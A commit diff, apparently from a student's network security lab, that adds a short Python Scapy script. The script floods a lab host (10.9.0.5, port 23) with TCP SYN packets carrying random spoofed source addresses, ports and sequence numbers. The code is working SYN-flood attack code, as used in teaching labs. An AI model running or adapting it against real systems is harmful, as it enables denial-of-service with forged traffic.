tcp lab almost finished and mitnick lab initialized

Tcp/Labsetup/volumes/synflood.py

@@ -0,0 +1,14 @@
+#!/bin/env python3
+from scapy.all import IP, TCP, send
+from ipaddress import IPv4Address
+from random import getrandbits
+
+ip = IP(dst="10.9.0.5")
+tcp = TCP(dport=23, flags='S')
+pkt = ip/tcp
+
+while True:
+    pkt[IP].src = str(IPv4Address(getrandbits(32))) # 源 IP
+    pkt[TCP].sport = getrandbits(16) # 源端口号
+    pkt[TCP].seq = getrandbits(32) # 序列号
+    send(pkt, verbose = 0)